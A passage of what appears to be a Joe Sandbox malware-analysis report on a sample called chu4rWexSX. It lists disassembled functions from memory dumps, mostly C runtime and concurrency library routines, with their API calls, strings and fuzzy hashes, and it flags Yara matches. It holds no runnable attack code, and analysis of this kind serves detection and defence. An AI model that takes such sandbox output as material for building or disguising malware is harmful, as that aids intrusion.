std::_Lockit::~_Lockit.LIBCPMT ref: 00749519
__CxxThrowException@8.LIBVCRUNTIME ref: 00749537

Strings

C, xrefs: 007494A3

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID: C
API String ID: 2243866535-2515487769
Opcode ID: a7c2fceb3240fe3079bcded35d82f571336d7679c7025fa8bf5e195a6d71d423
Instruction ID: b04845c356faaa7ad262570cb0e5beabe20ecc5a940f267d64d7284a7cddec0f
Opcode Fuzzy Hash: a7c2fceb3240fe3079bcded35d82f571336d7679c7025fa8bf5e195a6d71d423
Instruction Fuzzy Hash: E411CE32900219DBCF16EBA4C80AAEE7770AF44710F200509FA15A72E2EB3C9E01CB91

Function 0074472F Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00744740
int.LIBCPMT ref: 00744757

Part of subcall function 00749074: std::_Lockit::_Lockit.LIBCPMT ref: 00749085
Part of subcall function 00749074: std::_Lockit::~_Lockit.LIBCPMT ref: 0074909F

std::locale::_Getfacet.LIBCPMT ref: 00744760
std::_Facet_Register.LIBCPMT ref: 00744791
std::_Lockit::~_Lockit.LIBCPMT ref: 007447A7
__CxxThrowException@8.LIBVCRUNTIME ref: 007447C5

Strings

C, xrefs: 00744731

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetRegisterThrowstd::locale::_
String ID: C
API String ID: 2243866535-2515487769
Opcode ID: 42b6b3e3a3123af3ebf1ade826118e90fdcd75bfa0dd9330882504b78eb845ce
Instruction ID: 06eadb06e4835b65cdf5d1c4067f8d99946703e87a4f0f382d4473cf9a8a7b27
Opcode Fuzzy Hash: 42b6b3e3a3123af3ebf1ade826118e90fdcd75bfa0dd9330882504b78eb845ce
Instruction Fuzzy Hash: 2811CE32940129DBCF06EBA4C84AAEE7774AF44310F100019F515672A2EB3D9E01D791

Function 0042EDE4 Relevance: 12.2, APIs: 8, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0042A5E8,0042A5E8,?,?,?,0042F035,00000001,00000001,23E85006), ref: 0042EE3E
__alloca_probe_16.LIBCMT ref: 0042EE76
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0042F035,00000001,00000001,23E85006,?,?,?), ref: 0042EEC4
__alloca_probe_16.LIBCMT ref: 0042EF5B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,23E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0042EFBE
__freea.LIBCMT ref: 0042EFCB

Part of subcall function 00430357: RtlAllocateHeap.NTDLL(00000000,0040A8BB,00000000,?,0042343E,00000002,00000000,00000000,00000000,?,00409D6C,0040A8BB,00000004,00000000,00000000,00000000), ref: 00430389

__freea.LIBCMT ref: 0042EFD4
__freea.LIBCMT ref: 0042EFF9

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: da8d88692a3378ec2d8d8365ae0a95cdf52099a0517eabfe93d2d4af8c4cc745
Instruction ID: 60925b2890334b1a26ba29a73f97aa8de5167d43a6e453a630e9053134a8fa9c
Opcode Fuzzy Hash: da8d88692a3378ec2d8d8365ae0a95cdf52099a0517eabfe93d2d4af8c4cc745
Instruction Fuzzy Hash: EE511432710226BFDF258F66ED41FAB77A9EB44710F56462AFD04D6280DB38DC40C668

Function 0076801D Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Strings

U)t, xrefs: 0076801F

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID: U)t
API String ID: 0-2249727879
Opcode ID: 9e0c87224ebe04c2faf4fe337a27c89b6cc88f409d7d73ecd505640b7b464386
Instruction ID: e32c914d75f63a1a6eb99e7ba5804098809e9fac332259a2dabb88023fd0fa00
Opcode Fuzzy Hash: 9e0c87224ebe04c2faf4fe337a27c89b6cc88f409d7d73ecd505640b7b464386
Instruction Fuzzy Hash: 8F71913590065A9FCF618F94C894ABEBB75FF42350F284329ED22A7141DF748C85CBA2

Function 00427DB6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 222COMMONLIBRARYCODE

Download Yara Rule

Strings

&@, xrefs: 00427DB8

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID: &@
API String ID: 0-1362318888
Opcode ID: a9c78ea42baa1dfd6e0fe2c82f9088e88b2bb7591984f8f3fa335278d005233b
Instruction ID: 6fd787c58bbc03fed9bc031251e95f3b08d3f71f2e8c352972934ceef8bdeeb4
Opcode Fuzzy Hash: a9c78ea42baa1dfd6e0fe2c82f9088e88b2bb7591984f8f3fa335278d005233b
Instruction Fuzzy Hash: 3D711831B092369BCF20CF55E844ABFB775EF45354FA6426BE810A7241DB748C41C7A9

Function 0042D6F4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00430357: RtlAllocateHeap.NTDLL(00000000,0040A8BB,00000000,?,0042343E,00000002,00000000,00000000,00000000,?,00409D6C,0040A8BB,00000004,00000000,00000000,00000000), ref: 00430389

_free.LIBCMT ref: 0042D7FF
_free.LIBCMT ref: 0042D816
_free.LIBCMT ref: 0042D835
_free.LIBCMT ref: 0042D850
_free.LIBCMT ref: 0042D867

Strings

LgD, xrefs: 0042D7D9

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$AllocateHeap
String ID: LgD
API String ID: 3033488037-3721188703
Opcode ID: 75c1c48aaa0bd1ada2025ca5b04f9b8bb188f282a264718b8188159990f48996
Instruction ID: 5e4a6cc0592a3305de4b82f3b77a8e9c43a9d9093588e99d7e84841c095f5b78
Opcode Fuzzy Hash: 75c1c48aaa0bd1ada2025ca5b04f9b8bb188f282a264718b8188159990f48996
Instruction Fuzzy Hash: C251D331E002149BDB24EF2AEC41A6AB7F4EF59724F54066EE819D7251E739E901CB88

Function 0077079A Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00769154,E0830C40,?,?,?,?,?,?,00770F0F,0074B087,00769154,?,00769154,00769154,0074B087), ref: 007707DC
__fassign.LIBCMT ref: 00770857
__fassign.LIBCMT ref: 00770872
WideCharToMultiByte.KERNEL32(?,00000000,00769154,00000001,?,00000005,00000000,00000000), ref: 00770898
WriteFile.KERNEL32(?,?,00000000,00770F0F,00000000,?,?,?,?,?,?,?,?,?,00770F0F,0074B087), ref: 007708B7
WriteFile.KERNEL32(?,0074B087,00000001,00770F0F,00000000,?,?,?,?,?,?,?,?,?,00770F0F,0074B087), ref: 007708F0

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 69b8801c138d5f24ca6512ab6a8328be0ceb3ceda56d83a51be8591138ebc1a5
Instruction ID: e6ab6332230c8860f3777750be5d59a4b948336ea32eda7a87b86f3deea81546
Opcode Fuzzy Hash: 69b8801c138d5f24ca6512ab6a8328be0ceb3ceda56d83a51be8591138ebc1a5
Instruction Fuzzy Hash: 7B517375A00249DFDF10CFA4D845BEEBBB4EF09340F14816AE659E7292E734A941CFA4

Function 00430533 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00428EED,E0830C40,?,?,?,?,?,?,00430CA8,0040AE20,00428EED,?,00428EED,00428EED,0040AE20), ref: 00430575
__fassign.LIBCMT ref: 004305F0
__fassign.LIBCMT ref: 0043060B
WideCharToMultiByte.KERNEL32(?,00000000,00428EED,00000001,?,00000005,00000000,00000000), ref: 00430631
WriteFile.KERNEL32(?,?,00000000,00430CA8,00000000,?,?,?,?,?,?,?,?,?,00430CA8,0040AE20), ref: 00430650
WriteFile.KERNEL32(?,0040AE20,00000001,00430CA8,00000000,?,?,?,?,?,?,?,?,?,00430CA8,0040AE20), ref: 00430689

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 4d83bbe10bf6bab66ea622a867cecbf8455eb34b4fde43a0680013e2fe018a10
Instruction ID: 18c8cce6c2d529ef8c3a1be8a82416c6c5c43310351253068d06476f1b982bb0
Opcode Fuzzy Hash: 4d83bbe10bf6bab66ea622a867cecbf8455eb34b4fde43a0680013e2fe018a10
Instruction Fuzzy Hash: 4C51B270A002499FCB10CFA8D856BEEBBF8EF89310F14422BE555E7291E7349951CB68

Function 00425380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 004253AB
___except_validate_context_record.LIBVCRUNTIME ref: 004253B3
_ValidateLocalCookies.LIBCMT ref: 00425441
__IsNonwritableInCurrentImage.LIBCMT ref: 0042546C
_ValidateLocalCookies.LIBCMT ref: 004254C1

Strings

csm, xrefs: 00425456

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 8cd6326673c68eecee32f82c51c0de9d454083274cf32adb26fe02deef95564d
Instruction ID: 2e2864dc2657c784cd06c4a6c59dffd2014b49b465551db290534696377246e8
Opcode Fuzzy Hash: 8cd6326673c68eecee32f82c51c0de9d454083274cf32adb26fe02deef95564d
Instruction Fuzzy Hash: 8841F730B00628ABCF00EF69E84179EBBB4BF45319F94C157E8156B392D7399A41CB94

Function 00761754 Relevance: 10.6, APIs: 7, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 0076176D

Part of subcall function 00761A3C: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,007614A0), ref: 00761A4C

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00761782
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00761791
__CxxThrowException@8.LIBVCRUNTIME ref: 0076179F
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 00761815
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00761855
__CxxThrowException@8.LIBVCRUNTIME ref: 00761863

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID:
API String ID: 3151764488-0
Opcode ID: fed439a0ad055502321c917910015f78feee3c52ead7e8314af063bccc78410d
Instruction ID: cd0fb960b1623fc2bafe1a4cfed423440c87bb1e8114a48647b0b6419ee8497a
Opcode Fuzzy Hash: fed439a0ad055502321c917910015f78feee3c52ead7e8314af063bccc78410d
Instruction Fuzzy Hash: E331C335A00214EBCF05EFA4C889A6D7366BF55320F684569ED13A7282DB78ED05CB90

Function 0077C858 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19ef23123532063c0ec7a142f5adc597cf9408c0acaebada4943c521f29cf02c
Instruction ID: f8afb885eca484fe4108c96495c026874ff38d71a6adeaa2d2dc32bbac339bec
Opcode Fuzzy Hash: 19ef23123532063c0ec7a142f5adc597cf9408c0acaebada4943c521f29cf02c
Instruction Fuzzy Hash: E511E771508219FFDF122FB58C0D96B3A58EF867E0B104528FD5AC7241DA389D40C6B0

Function 0043C5F1 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81546b2476dfd3c0da568f6a5334ce12607f608b6c1e9e4af48b6a15fb5d3098
Instruction ID: 96dcf9f8e2cb634e3069f03a7c93195c318a3a65307b3a0fde3471aea2899667
Opcode Fuzzy Hash: 81546b2476dfd3c0da568f6a5334ce12607f608b6c1e9e4af48b6a15fb5d3098
Instruction Fuzzy Hash: C5110A76605115BFDB102F73AC46D2B3B68EFCA774F10652BF815D7250DA38880187B8

Function 0077729A Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00776FE1: _free.LIBCMT ref: 0077700A

_free.LIBCMT ref: 007772E8

Part of subcall function 00770381: HeapFree.KERNEL32(00000000,00000000,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?), ref: 00770397
Part of subcall function 00770381: GetLastError.KERNEL32(?,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?,?), ref: 007703A9

_free.LIBCMT ref: 007772F3
_free.LIBCMT ref: 007772FE
_free.LIBCMT ref: 00777352
_free.LIBCMT ref: 0077735D
_free.LIBCMT ref: 00777368
_free.LIBCMT ref: 00777373

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction ID: 164136e65cec028b8754de31c34fa9602543cad0ea256298587538fa36e62dbf
Opcode Fuzzy Hash: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction Fuzzy Hash: C5114F71A40F04EBDE21F7B2DC4BFCBBB9C9F00780F408869F29D66192DA69F5448690

Function 00437033 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00436D7A: _free.LIBCMT ref: 00436DA3

_free.LIBCMT ref: 00437081

Part of subcall function 0043011A: RtlFreeHeap.NTDLL(00000000,00000000,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?), ref: 00430130
Part of subcall function 0043011A: GetLastError.KERNEL32(?,?,00436DA8,?,00000000,?,00000000,?,0043704C,?,00000007,?,?,00437440,?,?), ref: 00430142

_free.LIBCMT ref: 0043708C
_free.LIBCMT ref: 00437097
_free.LIBCMT ref: 004370EB
_free.LIBCMT ref: 004370F6
_free.LIBCMT ref: 00437101
_free.LIBCMT ref: 0043710C

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction ID: ecc636602d9cefd8af03c320b282c937fb6f84fee31525a8c560b6306c237e1b
Opcode Fuzzy Hash: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction Fuzzy Hash: F011B772600B08B6D934BF71CC07FC77BAC6F08709F44591E769A66053C66EB4008659

Function 0074F2F9 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,0074DA40,?,?,?,00000000), ref: 0074F307
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0074DA40,?,?,?,00000000), ref: 0074F30D
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,0074DA40,?,?,?,00000000), ref: 0074F33A
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0074DA40,?,?,?,00000000), ref: 0074F344
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0074DA40,?,?,?,00000000), ref: 0074F356
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F36C
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F37A

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: e283f6e84b2c82578919922f2d2d59517d61ded4a319df8eeb3d81b500b4db47
Instruction ID: 28128e21f15165c674dd7f05e6930d6777dd0f0284b2f690ec7273ff9620069e
Opcode Fuzzy Hash: e283f6e84b2c82578919922f2d2d59517d61ded4a319df8eeb3d81b500b4db47
Instruction Fuzzy Hash: D401A239605205E7DB24AF65EC09BAF3BADEF42791F110435F902D2051EB38D910C6A4

Function 0040F092 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?,00000000,?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0A0
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0A6
GetLogicalProcessorInformation.KERNEL32(00000000,?,?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0D3
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0DD
GetLastError.KERNEL32(?,0000FFFF,00000000,?,00000000,?,0040D7D9,?,?,?,00000000), ref: 0040F0EF
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0040F105
__CxxThrowException@8.LIBVCRUNTIME ref: 0040F113

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: e23a3ddd4b344dc29f5bccb47b5aa6cf673dfb6735c6685cbf8b944409608d48
Instruction ID: 4200e810809cb5a6b896e226c4a8aa9689f07643c03a25066913d1c0f4825176
Opcode Fuzzy Hash: e23a3ddd4b344dc29f5bccb47b5aa6cf673dfb6735c6685cbf8b944409608d48
Instruction Fuzzy Hash: 8101DF35604110ABD724AB66EC09BAF3768AB41351F20443BF901F25D2EB7DD908C6AC

Function 0074F144 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,007533AB), ref: 0074F156
GetProcAddress.KERNEL32(00000000,00443CA4), ref: 0074F164
GetProcAddress.KERNEL32(00000000,00443CBC), ref: 0074F172
GetModuleHandleW.KERNEL32(kernel32.dll,00443CD4,?,?,?,007533AB), ref: 0074F1A0
GetProcAddress.KERNEL32(00000000), ref: 0074F1A7
GetLastError.KERNEL32(?,?,?,007533AB), ref: 0074F1C2
GetLastError.KERNEL32(?,?,?,007533AB), ref: 0074F1CE
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 0074F1E4
__CxxThrowException@8.LIBVCRUNTIME ref: 0074F1F2

Strings

kernel32.dll, xrefs: 0074F150, 0074F155, 0074F19A

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorHandleLastModule$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID: kernel32.dll
API String ID: 4179531150-1793498882
Opcode ID: 43b792a5a447c02ee4323b4b592b83964887b39c96b608aedd4e391bd4d7e76a
Instruction ID: 09c44f9d834ba8e9653333930df6af905f34f8e76043b3bf568e3fbc53fac634
Opcode Fuzzy Hash: 43b792a5a447c02ee4323b4b592b83964887b39c96b608aedd4e391bd4d7e76a
Instruction Fuzzy Hash: 19F0C876500350AFA7002F79AD4D91B3AACD945721321053BF615E32A1EFBACC10866C

Function 0076E641 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0076E65F

Part of subcall function 00770381: HeapFree.KERNEL32(00000000,00000000,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?), ref: 00770397
Part of subcall function 00770381: GetLastError.KERNEL32(?,?,0077700F,?,00000000,?,00000000,?,007772B3,?,00000007,?,?,007776A7,?,?), ref: 007703A9

_free.LIBCMT ref: 0076E671
_free.LIBCMT ref: 0076E684
_free.LIBCMT ref: 0076E695
_free.LIBCMT ref: 0076E6A6

Strings

8hE, xrefs: 0076E655

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID: 8hE
API String ID: 776569668-2125150602
Opcode ID: 5f4a0fd41d054a6e339748c950894fb6f424242f91bbcc581637fea950e4f09d
Instruction ID: 01b0df8f74950bc39e3b58757752f106faf06b1aa3be2d4567559010905d2c47
Opcode Fuzzy Hash: 5f4a0fd41d054a6e339748c950894fb6f424242f91bbcc581637fea950e4f09d
Instruction Fuzzy Hash: 3EF03A70805760DB8F41AF25AC854447B65A71672379196BAF809673B3C77C8C828BED

Function 0076F04B Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,?,?,?,?,0076F29C,00000001,00000001,?), ref: 0076F0A5
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,0076F29C,00000001,00000001,?,?,?,?), ref: 0076F12B
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0076F225
__freea.LIBCMT ref: 0076F232

Part of subcall function 007705BE: RtlAllocateHeap.NTDLL(00000000,0074AB22,00000000), ref: 007705F0

__freea.LIBCMT ref: 0076F23B
__freea.LIBCMT ref: 0076F260

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 3908960e0c2c45bfd36e37b0ff8dd7727ae5519ddf4b2ee8c4d167c17e63979f
Instruction ID: fdadeaf6281ccd7e637ef0af2cdb2150679fba6787858dab4edb6bc72282c361
Opcode Fuzzy Hash: 3908960e0c2c45bfd36e37b0ff8dd7727ae5519ddf4b2ee8c4d167c17e63979f
Instruction Fuzzy Hash: B851EFB360021AAFEB298F64EC45EBF77A9EB45750F254638FD06DA140EB38DC51CA50

Function 0076B0C9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0076B0F5
__cftoe.LIBCMT ref: 0076B127

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 915a803b04a245e0858a537f021c1983a95ca4e5625e1150935bcae2ae6578d4
Instruction ID: 954363e8faded57e5f23cb9852d7d232af560a6559fb4ad84534f14e9358ca91
Opcode Fuzzy Hash: 915a803b04a245e0858a537f021c1983a95ca4e5625e1150935bcae2ae6578d4
Instruction Fuzzy Hash: 5051FB32900209FBDF245B69CC95E6E77A8BF4B360F144219FC1AD6182EB3DDD818664

Function 0042AE62 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0042AE8E
__cftoe.LIBCMT ref: 0042AEC0

Memory Dump Source

Source File: 00000000.00000002.3928743167.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_chu4rWexSX.jbxd

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 6906d5393f84e211e60cd1a403f4cde10c993a927dc07de2227deb056ea7b5b8
Instruction ID: 5bdceb180790f90ae17a11cb1ae35eeeabbfa0513e87e29e014759498897305c
Opcode Fuzzy Hash: 6906d5393f84e211e60cd1a403f4cde10c993a927dc07de2227deb056ea7b5b8
Instruction Fuzzy Hash: 33515B72A00215ABDF249B69AC41F6F77A8EF08334F91421FFC24D2282DB3DD911866D

Function 0075FCCB Relevance: 9.1, APIs: 6, Instructions: 106COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetRealizedChore.LIBCONCRT ref: 0075FCF1

Part of subcall function 00755752: RtlInterlockedPopEntrySList.NTDLL(?), ref: 0075575D

SafeSQueue.LIBCONCRT ref: 0075FD0A
Concurrency::location::_Assign.LIBCMT ref: 0075FDCA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0075FDEB
__CxxThrowException@8.LIBVCRUNTIME ref: 0075FDF9

Memory Dump Source

Source File: 00000000.00000002.3929107042.0000000000740000.00000040.00001000.00020000.00000000.sdmp, Offset: 00740000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_740000_chu4rWexSX.jbxd

Yara matches

Similarity

API ID: AssignBase::ChoreConcurrency::details::Concurrency::location::_EntryException@8InterlockedListQueueRealizedSafeSchedulerThrowstd::invalid_argument::invalid_argument
String ID:
API String ID: 3496964030-0
Opcode ID: 9692a1e3b47559808de2f50d56826d1c7021818166b378e9d7c25d7d0e5f3def
Instruction ID: 9d47578b9638d10973bd2e0f05f1449cd501b677eadb9e6f8bc6e8ebdd470de5
Opcode Fuzzy Hash: 9692a1e3b47559808de2f50d56826d1c7021818166b378e9d7c25d7d0e5f3def
